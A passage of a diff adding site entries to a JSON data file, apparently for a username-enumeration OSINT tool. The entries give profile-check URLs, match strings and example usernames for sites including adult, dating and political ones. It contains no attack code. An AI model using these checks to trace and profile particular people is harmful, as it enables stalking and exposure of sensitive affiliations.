"https://diablo2.io/member/{account}/", + "e_code" : 200, + "e_string" :"Viewing profile - ", + "m_string" : "The requested user does not exist", + "m_code" : 404, + "known" : ["Mike01", "John"], + "cat" : "gaming", + "valid" : true + }, + { + "name" : "diigo", + "uri_check" : "https://www.diigo.com/interact_api/load_profile_info?name={account}", + "uri_pretty" : "https://www.diigo.com/profile/{account}", + "e_code" : 200, + "e_string" : "regist_at", + "m_string" : "{}", + "m_code" : 200, + "known" : ["whoami", "johndoe"], + "cat" : "images", + "valid" : true + }, + { + "name" : "DIBIZ", + "uri_check" : "https://www.dibiz.com/{account}", + "e_code" : 200, + "e_string" : "mailto:?subject=", + "m_string" : "An Error Has Occurred", + "m_code" : 404, + "known" : ["fractalhue", "rid"], + "cat" : "business", + "valid" : true + }, + { + "name" : "Digitalspy", + "uri_check" : "https://forums.digitalspy.com/profile/discussions/{account}", + "e_code" : 200, + "e_string" : "About", + "m_string" : "User not found", + "m_code" : 404, + "known" : ["JeffG1", "Maxatoria"], + "cat" : "social", + "valid" : true + }, + { + "name" : "Disabled.rocks (Mastodon Instance)", + "uri_check" : "https://disabled.rocks/api/v1/accounts/lookup?acct={account}", + "uri_pretty" : "https://disabled.rocks/@{account}", + "e_code" : 200, + "e_string" : "display_name", + "m_code" : 404, + "m_string" : "Record not found", + "known" : ["McCullohMD", "empressofcheer"], + "cat" : "social", + "valid" : true + }, + { + "name" : "Discogs", + "uri_check" : "https://www.discogs.com/user/{account}", + "e_code" : 200, + "e_string" : "Joined on", + "m_code" : 404, + "m_string" : "We couldn't find that page.", + "known" : ["7jlong", "venetian-guy"], + "cat" : "music", + "valid" : true + }, + { + "name" : "Discourse", + "uri_check" : "https://meta.discourse.org/u/{account}/summary.json", + "uri_pretty" : "https://meta.discourse.org/u/{account}", + "e_code" : 200, + "e_string" : "topics", + "m_code" : 404, + "m_string" : "The requested URL or resource could not be found.", + "known" : ["ndalliard", "gerhard"], + "cat" : "misc", + "valid" : true + }, + { + "name" : "discuss.elastic.co", + "uri_check" : "https://discuss.elastic.co/u/{account}", + "e_code" : 200, + "e_string" : " Profile", + "m_string" : "Oops!", + "m_code" : 404, + "known" : ["whoami", "johndoe"], + "cat" : "tech", + "valid" : true + }, + { + "name" : "Discuss.social (Mastodon Instance)", + "uri_check" : "https://discuss.social/api/v1/accounts/lookup?acct={account}", + "uri_pretty" : "https://discuss.social/@{account}", + "e_code" : 200, + "e_string" : "display_name", + "m_code" : 404, + "m_string" : "Record not found", + "known" : ["dan", "itepe18"], + "cat" : "social", + "valid" : true + }, + { + "name" : "Dissenter", + "uri_check" : "https://dissenter.com/user/{account}", + "e_code" : 200, + "e_string" : "Dissenter | The Comment Section of the Internet", + "m_string" : "That user is not registered here.", + "m_code" : 404, + "known" : ["pryerlee", "archdukeofevil"], + "cat" : "political", + "valid" : true + }, + { + "name" : "Disqus", + "uri_check" : "https://disqus.com/by/{account}/", + "e_code" : 200, + "e_string" : "<title>Disqus Profile", + "m_string" : "Page not found (404) - Disqus", + "m_code" : 404, + "known" : ["Aristotelian1", "50calibercat"], + "cat" : "social", + "valid" : true + }, + { + "name" : "DockerHub", + "uri_check" : "https://hub.docker.com/v2/users/{account}/", + "e_code" : 200, + "e_string" : "username", + "m_string" : "Not Found", + "m_code" : 404, + "known" : ["soxoj", "torvalds"], + "cat" : "coding", + "valid" : true + }, + { + "name" : "Donation Alerts", + "uri_check" : "https://www.donationalerts.com/api/v1/user/{account}/donationpagesettings", + "uri_pretty" : "https://www.donationalerts.com/r/{account}", + "e_code" : 200, + "e_string" : "background_image_url", + "m_code" : 202, + "m_string" : "does not exist", + "known" : ["gorou", "saku"], + "cat" : "business", + "valid" : true + }, + { + "name" : "dot.cards", + "uri_check" : "https://dot.cards/{account}", + "e_code" : 200, + "e_string" : "'s dot.Profile", + "m_string" : "Username does not exist.", + "m_code" : 404, + "known" : ["dakmusic", "seattlevoiceactor"], + "cat" : "business", + "valid" : true + }, + { + "name" : "Dojoverse", + "uri_check" : "https://dojoverse.com/members/{account}/", + "e_code" : 200, + "e_string" : "Joined", + "m_string" : "Looks like you got lost!.", + "m_code" : 404, + "known" : ["eric", "danielrivera10927"], + "cat" : "hobby", + "valid" : true + }, + { + "name" : "Dribbble", + "uri_check" : "https://dribbble.com/{account}", + "e_code" : 200, + "e_string" : " | Dribbble", + "m_string" : "(404)", + "m_code" : 404, + "known" : ["UI8", "keeplegend"], + "cat" : "art", + "valid" : true + }, + { + "name" : "Droners", + "uri_check" : "https://droners.io/accounts/{account}/", + "e_code" : 200, + "e_string" : "- Professional Drone Pilot", + "m_string" : "(404)", + "m_code" : 302, + "known" : ["chriskahn", "swilken"], + "cat" : "hobby", + "valid" : true + }, + { + "name" : "Drum", + "uri_check" : "https://drum.io/{account}/", + "e_code" : 200, + "e_string" : "firstName", + "m_string" : "Page not found", + "m_code" : 302, + "known" : ["kingdirtdig", "oscarqbdrums"], + "cat" : "hobby", + "valid" : true + }, + { + "name" : "Duolingo", + "uri_check" : "https://www.duolingo.com/2017-06-30/users?username={account}&_=1628308619574", + "uri_pretty" : "https://www.duolingo.com/profile/{account}", + "e_code" : 200, + "e_string" : "joinedClassroomIds", + "m_string" : "\"users\" : []", + "m_code" : 200, + "known" : ["sdfsdf", "duolingo"], + "cat" : "hobby", + "valid" : true + }, + { + "name" : "easyen", + "uri_check" : "https://easyen.ru/index/8-0-{account}", + "e_code" : 200, + "e_string" : "День рождения", + "m_string" : "Пользователь не найден", + "m_code" : 200, + "known" : ["wd"], + "cat" : "social", + "valid" : true + }, + { + "name" : "eBay", + "uri_check" : "https://www.ebay.com/usr/{account}", + "e_code" : 200, + "e_string" : "on eBay", + "m_string" : "The User ID you entered was not found", + "m_code" : 200, + "known" : ["the_gqs", "johnny"], + "cat" : "shopping", + "valid" : true + }, + { + "name" : "ebay_stores", + "uri_check" : "https://www.ebay.com/str/{account}", + "e_code" : 200, + "e_string" : "| eBay Stores", + "m_string" : "Sorry, this store was not found.", + "m_code" : 410, + "known" : ["tactical", "tactical-security"], + "cat" : "shopping", + "valid" : true + }, + { + "name" : "Ello.co", + "uri_check" : "https://ello.co/{account}", + "e_code" : 200, + "e_string" : "| Ello", + "m_string" : "| [404] Not Found", + "m_code" : 404, + "known" : ["john", "franalvez"], + "cat" : "art", + "valid" : true + }, + { + "name" : "Engadget", + "uri_check" : "https://www.engadget.com/about/editors/{account}/", + "e_code" : 200, + "e_string" : "- Engadget", + "m_string" : ", -", + "m_code" : 404, + "known" : ["devindra-hardawar", "kris-holt"], + "cat" : "tech", + "valid" : true + }, + { + "name" : "EPORNER", + "uri_check" : "https://www.eporner.com/profile/{account}/", + "e_code" : 200, + "e_string" : "Video/Pics views", + "m_string" : "Profile not found", + "m_code" : 404, + "known" : ["enron456", "Jomat999", "hicnobu"], + "cat" : "XXXPORNXXX", + "valid" : true + }, + { + "name" : "Etsy", + "uri_check" : "https://www.etsy.com/people/{account}", + "e_code" : 200, + "e_string" : " on Etsy", + "m_string" : "Sorry, the member you are looking for does not exist", + "m_code" : 404, + "known" : ["david", "happiness"], + "cat" : "shopping", + "valid" : true + }, + { + "name" : "Mastodon-EU_Voice", + "uri_pretty" : "https://social.network.europa.eu/@{account}", + "uri_check" : "https://social.network.europa.eu/api/v1/accounts/lookup?acct={account}", + "e_code" : 200, + "e_string" : "social.network.europa.eu", + "m_string" : "The page you are looking for isn't here.", + "m_code" : 404, + "known" : ["EC_DIGIT", "EUSPA"], + "cat" : "social", + "valid" : true + }, + { + "name" : "Expressional.social (Mastodon Instance)", + "uri_check" : "https://expressional.social/api/v1/accounts/lookup?acct={account}", + "uri_pretty" : "https://expressional.social/@{account}", + "e_code" : 200, + "e_string" : "display_name", + "m_code" : 404, + "m_string" : "Record not found", + "known" : ["jippi", "poolesen"], + "cat" : "social", + "valid" : true + }, + { + "name" : "ExtraLunchMoney", + "uri_check" : "https://extralunchmoney.com/user/{account}", + "e_code" : 200, + "e_string" : "Public Profile Page", + "m_string" : "Closed Profile Page", + "m_code" : 404, + "known" : ["ThatWitchMaeve", "Nudekiki"], + "cat" : "XXXPORNXXX", + "valid" : true + }, + { + "name" : "Eyeem", + "uri_check" : "https://www.eyeem.com/u/{account}", + "e_code" : 200, + "e_string" : "| EyeEm Photographer", + "m_string" : "Not Found (404) | EyeEm", + "m_code" : 301, + "known" : ["john", "bob"], + "cat" : "art", + "valid" : true + }, + { + "name" : "F3", + "uri_check" : "https://f3.cool/{account}", + "e_code" : 200, + "e_string" : "@", + "m_string" : "Page Not Found - F3", + "m_code" : 404, + "known" : ["nick", "john"], + "cat" : "social", + "valid" : true + }, + { + "name" : "Fabswingers", + "uri_check" : "https://www.fabswingers.com/profile/{account}", + "e_code" : 200, + "e_string" : "View Profile", + "m_string" : "The user you tried to view doesn't seem to be on the site any more", + "m_code" : 200, + "known" : ["naughty_nymphomaniac", "hellfireclub", "fabswingers.com"], + "cat" : "dating", + "valid" : true + }, + { + "name" : "Faktopedia", + "uri_check" : "https://faktopedia.pl/user/{account}", + "e_code" : 200, + "e_string" : "Zamieszcza fakty od:", + "m_string" : "Nie znaleziono użytkownika o podanym loginie.", + "m_code" : 200, + "known" : ["janek", "ania"], + "cat" : "images", + "valid" : true + }, + { + "name" : "FanCentro", + "uri_check" : "https://fancentro.com/api/profile.get?profileAlias={account}&limit=1", + "uri_pretty" : "https://fancentro.com/{account}/", + "e_code" : 200, + "e_string" : "\"status\" :true", + "m_string" : "\"status\" :false", + "m_code" : 200, + "known" : ["medroxy","miaaamador"], + "cat" : "XXXPORNXXX", + "valid" : true + }, + { + "name" : "fandalism", + "uri_check" : "https://fandalism.com/{account}", + "e_code" : 200, + "e_string" : "fandalism_:user", + "m_string" : "404 - File or directory not found", + "m_code" : 404, + "known" : ["mike", "ted"], + "cat" : "hobby", + "valid" : true + }, + { + "name" : "Fandom", + "uri_check" : "https://www.fandom.com/u/{account}", + "e_code" : 200, + "e_string" : "| Profile | Fandom", + "m_string" : "Not Found", + "m_code" : 404, + "known" : ["EJacobs94", "Drew_Dietsch"], + "cat" : "gaming", + "valid" : true + }, + { + "name" : "fanpop", + "uri_check" : "https://www.fanpop.com/fans/{account}", + "e_code" : 200, + "e_string" : "Fanpopping since", + "m_string" : "", + "m_code" : 302, + "known" : ["test", "johndoe"], + "cat" : "social", + "valid" : true + }, + { + "name" : "Fark", + "uri_check" : "https://www.fark.com/users/{account}", + "e_code" : 200, + "e_string" : "Fark account number", + "m_string" : "Tastes like chicken.", + "m_code" : 200, + "known" : ["bob", "bobby"], + "cat" : "social", + "valid" : true + }, + { + "name" : "Farkascity", + "uri_check" : "https://farkascity.org/{account}/", + "e_code" : 200, + "e_string" : "blog-title", + "m_code" : 404, + "m_string" : "Are you sure it was ever here?", + "known" : ["gutimet", "nlowell"], + "cat" : "blog", + "valid" : true + }, + { + "name" : "fansly", + "uri_check" : "https://apiv2.fansly.com/api/v1/account?usernames={account}", + "uri_pretty" : "https://fansly.com/{account}/posts", + "e_code" : 200, + "e_string" : "username", + "m_string" : "response: []", + "m_code" : 200, + "known" : ["Mikomin","test"], + "cat" : "XXXPORNXXX", + "valid" : true + }, + { + "name" : "FatSecret", + "uri_check" : "https://www.fatsecret.com/member/{account}", + "e_code" : 200, + "e_string" : "- Member", + "m_string" : "Your Key to Success", + "m_code" : 302, + "known" : ["bob", "bobby"], + "cat" : "health", + "valid" : true + }, + { + "name" : "Federated.press (Mastodon Instance)", + "uri_check" : "https://federated.press/api/v1/accounts/lookup?acct={account}", + "uri_pretty" : "https://federated.press/@{account}", + "e_code" : 200, + "e_string" : "display_name", + "m_code" : 404, + "m_string" : "Record not found", + "known" : ["wood", "cliffcheney"], + "cat" : "social", + "valid" : true + }, + { + "name" : "fcv", + "uri_check" : "https://fcv.if.ua/index.php/component/comprofiler/userprofile/{account}/", + "e_code" : 200, + "e_string" : "сторінка профілю", + "m_string" : "Цей профіль або більше не існує або більше не доступний", + "m_code" : 200, + "known" : ["Ruslan", "oleg"], + "cat" : "hobby", + "valid" : true + }, + { + "name" : "figma", + "uri_check" : "https://www.figma.com/@{account}", + "e_code" : 200, + "e_string" : ") on Figma Community", + "m_string" : "The page you are looking for can't be found.", + "m_code" : 404, + "known" : ["bob", "mike"], + "cat" : "tech", + "valid" : true + }, + { + "name" : "Filmweb", + "uri_check" : "https://www.filmweb.pl/user/{account}", + "e_code" : 200, + "e_string" : "Na filmwebie od", + "m_string" : "Przepraszamy. Strona, której szukasz nie została odnaleziona.", + "m_code" : 200, + "known" : ["test", "test2"], + "cat" : "hobby", + "valid" : true + }, + { + "name" : "fine_art_america", + "uri_check" : "https://fineartamerica.com/profiles/{account}", + "e_code" : 200, + "e_string" : "Shop for artwork by", + "m_string" : "Browse through millions of independent artists in our extensive", + "m_code" : 301, + "known" : ["scott-norris", "mary-helmreich"], + "cat" : "shopping", + "valid" : true + }, + { + "name" : "Fiverr", + "uri_check" : "https://www.fiverr.com/{account}", + "e_code" : 200, + "e_string" : "member-since", + "m_string" : "", + "m_code" : 302, + "known" : ["yellowdd", "samanvay"], + "cat" : "shopping", + "valid" : true + }, + { + "name" : "Flickr", + "uri_check" : "https://www.flickr.com/photos/{account}/", + "e_code" : 200, + "e_string" : "| Flickr", + "m_string" : "", + "m_code" : 404, + "known" : ["glaciernps", "test"], + "cat" : "images", + "valid" : true + }, + { + "name" : "Flipboard", + "uri_check" : "https://flipboard.com/@{account}", + "e_code" : 200, + "e_string" : ") on Flipboard", + "m_string" : "", + "m_code" : 404, + "known" : ["cosmopolitan", "Mashable"], + "cat" : "tech", + "valid" : true + }, + { + "name" : "flowcode", + "uri_check" : "https://www.flowcode.com/page/{account}", + "e_code" : 200, + "e_string" : ";s Flowpage", + "m_string" : "Nobody's reserved this Flowpage yet.", + "m_code" : 404, + "known" : ["evdokia", "irina"], + "cat" : "social", + "valid" : true + }, + { + "name" : "Fodors Forum", + "uri_check" : "https://www.fodors.com/community/profile/{account}/forum-activity", + "e_code" : 200, + "e_string" : "Member since", + "m_string" : "Plan Your Trip Online", + "m_code" : 302, + "known" : ["mms", "gooster"], + "cat" : "social", + "valid" : true + }, + { + "name" : "Fortnite Tracker", + "uri_check" : "https://fortnitetracker.com/profile/all/{account}", + "e_code" : 200, + "e_string" : "s Fortnite Stats - Fortnite Tracker", + "m_string" : "Fortnite Player Stats -", + "m_code" : 404, + "known" : ["steph", "sam"], + "cat" : "gaming", + "valid" : true + }, + { + "name" : "forumprawne.org", + "uri_check" : "https://forumprawne.org/members/{account}.html", + "e_code" : 200, + "e_string" : "Wiadomość", + "m_string" : "", + "m_code" : 500, + "known" : ["test", "test2"], + "cat" : "misc", + "valid" : true + }, + { + "name" : "Fosstodon.org (Mastodon Instance)", + "uri_check" : "https://fosstodon.org/api/v1/accounts/lookup?acct={account}", + "uri_pretty" : "https://fosstodon.org/@{account}", + "e_code" : 200, + "e_string" : "display_name", + "m_code" : 404, + "m_string" : "Record not found", + "known" : ["linux", "Phil35"], + "cat" : "social", + "valid" : true + }, + { + "name" : "fotka", + "uri_check" : "https://api.fotka.com/v2/user/dataStatic?login={account}", + "uri_pretty" : "https://fotka.com/profil/{account}", + "e_code" : 200, + "e_string" : "profil", + "m_string" : "ERROR", + "m_code" : 200, + "known" : ["test", "test2"], + "cat" : "social", + "valid" : true + }, + { + "name" : "Foursquare", + "uri_check" : "https://foursquare.com/{account}", + "e_code" : 200, + "e_string" : "on Foursquare", + "m_string" : "Foursquare - Independent Location Data Platform", + "m_code" : 302, + "known" : ["john", "ncyp23"], + "cat" : "social", + "valid" : true + }, + { + "name" : "freelancer", + "uri_check" : "https://www.freelancer.com/u/{account}", + "e_code" : 200, + "e_string" : "> joined", + "m_string" : "Looks like the page you are looking for doesn't exist.", + "m_code" : 404, + "known" : ["desiaunty", "creatvmind"], + "cat" : "business", + "valid" : true + }, + { + "name" : "freesound", + "uri_check" : "https://freesound.org/people/{account}/", + "e_code" : 200, + "e_string" : "START of Content area", + "m_string" : "Page not found", + "m_code" : 404, + "known" : ["test", "JohnDoe"], + "cat" : "music", + "valid" : true + }, + { + "name" : "FriendFinder", + "uri_check" : "https://friendfinder.com/profile/{account}", + "e_code" : 200, + "e_string" : "Last Visit:", + "m_string" : "302 Found", + "m_code" : 302, + "known" : ["alex56", "john"], + "cat" : "dating", + "valid" : true + }, + { + "name" : "FriendFinder-X", + "uri_check" : "https://www.friendfinder-x.com/profile/{account}", + "e_code" : 200, + "e_string" : "'s Dating Profile on FriendFinder-x", + "m_string" : "The document has moved", + "m_code" : 302, + "known" : ["john"], + "cat" : "dating", + "valid" : true + }, + { + "name" : "Friendweb", + "uri_check" : "https://friendweb.nl/{account}", + "e_code" : 200, + "e_string" : "friendweb.nl", + "m_string" : "Page Not Found", + "m_code" : 404, + "known" : ["HoogtePiet", "JeePee"], + "cat" : "social", + "valid" : true + }, + { + "name" : "FurAffinity", + "uri_check" : "https://www.furaffinity.net/user/{account}", + "e_code" : 200, + "e_string" : "Userpage of", + "m_string" : "user cannot be found", + "m_code" : 200, + "known" : ["karintina", "mikrogoat"], + "cat" : "images", + "valid" : true + }, + { + "name" : "Furiffic", + "uri_check" : "https://www.furiffic.com/{account}", + "e_code" : 200, + "e_string" : "Registered Since", + "m_string" : "<title>Whoops · Furiffic", + "m_code" : 404, + "known" : ["furiffic", "test", "admin"], + "cat" : "XXXPORNXXX", + "valid" : true + }, + { + "name" : "Gab", + "uri_check" : "https://gab.com/api/v1/account_by_username/{account}", + "uri_pretty" : "https://gab.com/{account}", + "e_code" : 200, + "e_string" : "followers_count", + "m_string" : "Record not found", + "m_code" : 404, + "known" : ["RealMarjorieGreene", "LaurenBoebert"], + "cat" : "political", + "valid" : true + }, + { + "name" : "game_debate", + "uri_check" : "https://www.game-debate.com/profile/{account}", + "e_code" : 200, + "e_string" : "| , , GB pc game performance", + "m_string" : "Not Found", + "m_code" : 404, + "known" : ["Johnboy", "Crazy"], + "cat" : "gaming", + "valid" : true + }, + { + "name" : "Game Jolt", + "uri_check" : "https://gamejolt.com/site-api/web/profile/@{account}/", + "uri_pretty" : "https://gamejolt.com/@{account}", + "e_code" : 200, + "e_string" : "created_on", + "m_string" : "null,", + "m_code" : 404, + "known" : ["nilllzz", "KorbloxTeams"], + "cat" : "gaming", + "valid" : true + }, + { + "name" : "Gamespot", + "uri_check" : "https://www.gamespot.com/profile/{account}/", + "e_code" : 200, + "e_string" : "'s Profile - GameSpot", + "m_string" : "404: Not Found - GameSpot", + "m_code" : 200, + "known" : ["alice", "bob"], + "cat" : "gaming", + "valid" : true + }, + { + "name" : "Garmin connect", + "uri_check" : "https://connect.garmin.com/modern/profile/{account}", + "e_code" : 200, + "e_string" : "window.ERROR_VIEW = null", + "m_string" : "resourceNotFoundRoute", + "m_code" : 200, + "known" : ["danielebarison", "cderalow"], + "cat" : "health", + "valid" : true + }, + { + "name" : "Geocaching", + "uri_check" : "https://www.geocaching.com/p/?u={account}", + "e_code" : 200, + "e_string" : "Groundspeak - User Profile", + "m_string" : "Error 404: DNF", + "m_code" : 404, + "known" : ["moun10bike", "niraD"], + "cat" : "social", + "valid" : true + }, + { + "name" : "getmonero", + "uri_check" : "https://forum.getmonero.org/user/{account}", + "e_code" : 200, + "e_string" :"Monero | User", + "m_string" : "Monero | Page not found. Error: 404", + "m_code" : 200, + "known" : ["silverfox", "monero"], + "cat" : "misc", + "valid" : true + }, + { + "name" : "Gettr", + "uri_check" : "https://api.gettr.com/s/user/{account}/exist", + "uri_pretty" : "https://gettr.com/user/{account}", + "e_code" : 200, + "e_string" : "success\":{", + "m_string" : "success\":false", + "m_code" : 200, + "known" : ["gettr", "support"], + "cat" : "social", + "valid" : true + }, + { + "name" : "gfycat", + "uri_check" : "https://gfycat.com/@{account}", + "e_code" : 200, + "e_string" : "gfycat-username", + "m_string" : "

    Page not found

    ", + "m_code" : 404, + "known" : ["timviechanoi", "sannahparker"], + "cat" : "misc", + "valid" : true + }, + { + "name" : "Gigapan", + "uri_check" : "https://www.gigapan.com/profiles/{account}", + "e_code" : 200, + "e_string" : "width=\"100\"", + "m_string" : "View Gigapans", + "m_code" : 404, + "known" : ["test", "lucahammer"], + "cat" : "hobby", + "valid" : true + }, + { + "name" : "Giphy", + "uri_check" : "https://giphy.com/channel/{account}", + "e_code" : 200, + "e_string" : "Share on GIPHY", + "m_string" : "404 Not Found", + "m_code" : 404, + "known" : ["buzz", "test"], + "cat" : "social", + "valid" : true + }, + { + "name" : "Girlfriendsmeet", + "uri_check" : "http://www.girlfriendsmeet.com/profile/{account}", + "e_code" : 200, + "e_string" : "online dating profile", + "m_string" : "Page not found", + "m_code" : 404, + "known" : ["john", "junech"], + "cat" : "dating", + "valid" : true + }, + { + "name" : "gitea", + "uri_check" : "https://gitea.com/{account}", + "e_code" : 200, + "e_string" : "(Git with a cup of tea)", + "m_string" : "Not found.", + "m_code" : 404, + "known" : ["xin", "dev"], + "cat" : "coding", + "valid" : true + }, + { + "name" : "giters", + "uri_check" : "https://giters.com/{account}", + "e_code" : 200, + "e_string" : " - Giters", + "m_string" : "This page could not be found", + "m_code" : 404, + "known" : ["WebBreacher", "C3n7ral051nt4g3ncy"], + "cat" : "coding", + "valid" : true + }, + { + "name" : "GitHub", + "uri_check" : "https://github.com/{account}", + "e_code" : 200, + "e_string" : "p-nickname vcard-username d-block", + "m_string" : "Page not found ", + "m_code" : 404, + "known" : ["test", "WebBreacher"], + "cat" : "coding", + "valid" : true + }, + { + "name" : "GitLab", + "uri_check" : "https://gitlab.com/{account}", + "e_code" : 200, + "e_string" : "Member since", + "m_string" : "GitLab.com offers free unlimited", + "m_code" : 302, + "known" : ["skennedy", "KennBro", "alex", "bob"], + "cat" : "coding", + "valid" : true + }, + { + "name" : "gitee", + "uri_check" : "https://gitee.com/{account}", + "e_code" : 200, + "e_string" : "Commits, issues, and pull requests will appear", + "m_string" : "Gitee is more than a development platform", + "m_code" : 404, + "known" : ["maxim"], + "cat" : "coding", + "valid" : true + }, + { + "name" : "gloria.tv", + "uri_check" : "https://gloria.tv/{account}", + "e_code" : 200, + "e_string" : "Last online", + "m_string" : "Page unavailable", + "m_code" : 404, + "known" : ["test", "test2"], + "cat" : "social", + "valid" : true + }, + { + "name" : "gnome_extensions", + "uri_check" : "https://extensions.gnome.org/accounts/profile/{account}", + "e_code" : 200, + "e_string" : "s Profile - GNOME Shell Extensions", + "m_string" : "Uh oh...", + "m_code" : 400, + "known" : ["johnny", "dev"], + "cat" : "coding", + "valid" : true + }, + { + "name" : "Goodgame_Russia", + "uri_check" : "https://goodgame.ru/channel/{account}/", + "e_code" : 200, + "e_string" : "Онлайн-трансляция", + "m_string" : "Такой страницы не существует", + "m_code" : 400, + "known" : ["ejysarmat", "gegeboyz"], + "cat" : "gaming", + "valid" : true + }, + { + "name" : "gpodder.net", + "uri_check" : "https://gpodder.net/user/{account}/", + "e_code" : 200, + "e_string" : "mdash; gpodder.net", + "m_string" : "404 - Not found", + "m_code" : 404, + "known" : ["blue", "red"], + "cat" : "music", + "valid" : true + }, + { + "name" : "grandprof", + "uri_check" : "https://grandprof.org/communaute/{account}", + "e_code" : 200, + "e_string" : "s Profile", + "m_string" : "Mauvaise pioche", + "m_code" : 404, + "known" : ["mohamed01", "amine"], + "cat" : "misc", + "valid" : true + }, + { + "name" : "Gravatar", + "uri_check" : "http://en.gravatar.com/profiles/{account}.json", + "uri_pretty" : "http://en.gravatar.com/profiles/{account}", + "e_code" : 200, + "e_string" : "entry", + "m_string" : "User not found", + "m_code" : 404, + "known" : ["test"], + "cat" : "images", + "valid" : true + }, + { + "name" : "Graphics.social (Mastodon Instance)", + "uri_check" : "https://graphics.social/api/v1/accounts/lookup?acct={account}", + "uri_pretty" : "https://graphics.social/@{account}", + "e_code" : 200, + "e_string" : "display_name", + "m_code" : 404, + "m_string" : "Record not found", + "known" : ["brian", "moonpotato"], + "cat" : "social", + "valid" : true + }, + { + "name" : "gumroad", + "uri_check" : "https://{account}.gumroad.com/", + "invalid_chars" : ".", + "e_code" : 200, + "e_string" : "s profile picture", + "m_string" : "Page not found", + "m_code" : 404, + "known" : ["ellietalksmoney", "reallyniceimages"], + "cat" : "shopping", + "valid" : true + }, + { + "name" : "Hackaday", + "uri_check" : "https://hackaday.io/{account}", + "e_code" : 200, + "e_string" : "'s Profile | Hackaday.io", + "m_string" : "The requested URL was not found on this server. That’s all we know.", + "m_code" : 404, + "known" : ["john", "adam"], + "cat" : "hobby", + "valid" : true + }, + { + "name" : "Hacker News", + "uri_check" : "https://news.ycombinator.com/user?id={account}", + "e_code" : 200, + "e_string" : "created:", + "m_string" : "No such user.", + "m_code" : 200, + "known" : ["mubix", "egypt"], + "cat" : "tech", + "valid" : true + }, + { + "name" : "Hackernoon", + "uri_check" : "https://hackernoon.com/_next/data/foL6JC7ro2FEEMD-gMKgQ/u/{account}.json", + "uri_pretty" : "https://hackernoon.com/u/{account}", + "e_code" : 200, + "e_string" : "\"profile\"", + "m_string" : "__N_REDIRECT", + "m_code" : 200, + "known" : ["john", "alex"], + "cat" : "tech", + "valid" : true + }, + { + "name" : "hackerearth", + "uri_check" : "https://www.hackerearth.com/@{account}", + "e_code" : 200, + "e_string" : "| Developer Profile on HackerEarth", + "m_string" : "404 | HackerEarth", + "m_code" : 200, + "known" : ["peter", "liam"], + "cat" : "coding", + "valid" : true + }, + { + "name" : "HackerOne", + "uri_check" : "https://hackerone.com/{account}", + "e_code" : 200, + "e_string" : "profile that highlights", + "m_string" : "Page not found", + "m_code" : 301, + "known" : ["yashrs", "ameerpornillos"], + "cat" : "tech", + "valid" : true + }, + { + "name" : "HackerRank", + "uri_check" : "https://www.hackerrank.com/profile/{account}", + "e_code" : 200, + "e_string" : " | HackerRank", + "m_string" : ":: HackerRank", + "m_code" : 302, + "known" : ["johnsmith", "FMota"], + "cat" : "tech", + "valid" : true + }, + { + "name" : "hackster", + "uri_check" : "https://www.hackster.io/{account}", + "e_code" : 200, + "e_string" : "- Hackster.io", + "m_string" : "Hackster.io - The community dedi", + "m_code" : 404, + "known" : ["ian", "bob"], + "cat" : "coding", + "valid" : true + }, + { + "name" : "hamaha", + "uri_check" : "https://hamaha.net/{account}", + "e_code" : 200, + "e_string" : "- трейдинг форекс фьючерсы акции фондовый рынок ", + "m_string" : "HAMAHA Биткоин форум.", + "m_code" : 200, + "known" : ["oleg", "misha"], + "cat" : "finance", + "valid" : true + }, + { + "name" : "Hanime", + "uri_check" : "https://hanime.tv/channels/{account}", + "e_code" : 200, + "e_string" : "Channel Views", + "m_code" : 302, + "m_string" : "DYNAMIC", + "known" : ["z", "god"], + "cat" : "XXXPORNXXX", + "valid": true + }, + { + "name" : "Hcommons.social (Mastodon Instance)", + "uri_check" : "https://hcommons.social/api/v1/accounts/lookup?acct={account}", + "uri_pretty" : "https://hcommons.social/@{account}", + "e_code" : 200, + "e_string" : "display_name", + "m_code" : 404, + "m_string" : "Record not found", + "known" : ["hello", "iuulaio"], + "cat" : "social", + "valid" : true + }, + { + "name" : "Heylink", + "uri_check" : "https://heylink.me/{account}/", + "e_code" : 200, + "e_string" : "HeyLink.me |", + "m_string" : "We can't find the page that you're looking for :(", + "m_code" : 404, + "known" : ["mohammed13", "johnny"], + "cat" : "misc", + "valid" : true + }, + { + "name" : "hiberworld", + "uri_check" : "https://hiberworld.com/u/{account}", + "e_code" : 200, + "e_string" : "Creations by ", + "m_string" : "Looks like you got lost ", + "m_code" : 200, + "known" : ["Axeman", "Silver01"], + "cat" : "gaming", + "valid" : true + }, + { + "name" : "HiHello", + "uri_check" : "https://www.hihello.me/author/{account}", + "e_code" : 200, + "e_string" : "HiHello Blog Author: ", + "m_string" : "Well, this is awkward", + "m_code" : 404, + "known" : ["pascal-theriault", "kortnee-paiha"], + "cat" : "business", + "valid" : true + }, + { + "name" : "Historians.social (Mastodon Instance)", + "uri_check" : "https://historians.social/api/v1/accounts/lookup?acct={account}", + "uri_pretty" : "https://historians.social/@{account}", + "e_code" : 200, + "e_string" : "display_name", + "m_code" : 404, + "m_string" : "Record not found", + "known" : ["lizcovart", "Ejoiner"], + "cat" : "social", + "valid" : true + }, + { + "name" : "HomeDesign3D", + "uri_check" : "https://en.homedesign3d.net/user/{account}", + "e_code" : 200, + "e_string" : "userspace", + "m_string" : "An Error Occurred: Internal Server Error", + "m_code" : 500, + "known" : ["carlos01", "paul"], + "cat" : "hobby", + "valid" : true + }, + { + "name" : "Hometech.social (Mastodon Instance)", + "uri_check" : "https://hometech.social/api/v1/accounts/lookup?acct={account}", + "uri_pretty" : "https://hometech.social/@{account}", + "e_code" : 200, + "e_string" : "display_name", + "m_code" : 404, + "m_string" : "Record not found", + "known" : ["one4ll", "seth"], + "cat" : "social", + "valid" : true + }, + { + "name" : "hoo.be", + "uri_check" : "https://hoo.be/{account}", + "e_code" : 200, + "e_string" : "--profile-name-color", + "m_string" : "Page Not Found</h3>", + "m_code" : 404, + "known" : ["chrishemsworth", "alextackie"], + "cat" : "business", + "valid" : true + }, + { + "name" : "Hostux.social (Mastodon Instance)", + "uri_check" : "https://hostux.social/api/v1/accounts/lookup?acct={account}", + "uri_pretty" : "https://hostux.social/@{account}", + "e_code" : 200, + "e_string" : "display_name", + "m_code" : 404, + "m_string" : "Record not found", + "known" : ["alarig", "rsmela"], + "cat" : "social", + "valid" : true + }, + { + "name" : "Houzz", + "uri_check" : "https://www.houzz.com/user/{account}", + "e_code" : 200, + "e_string" : "Followers", + "m_string" : "Page Not Found", + "m_code" : 404, + "known" : ["liam", "alex"], + "cat" : "hobby", + "valid" : true + }, + { + "name" : "HubPages", + "uri_check" : "https://hubpages.com/@{account}", + "e_code" : 200, + "e_string" : "name\">Followers", + 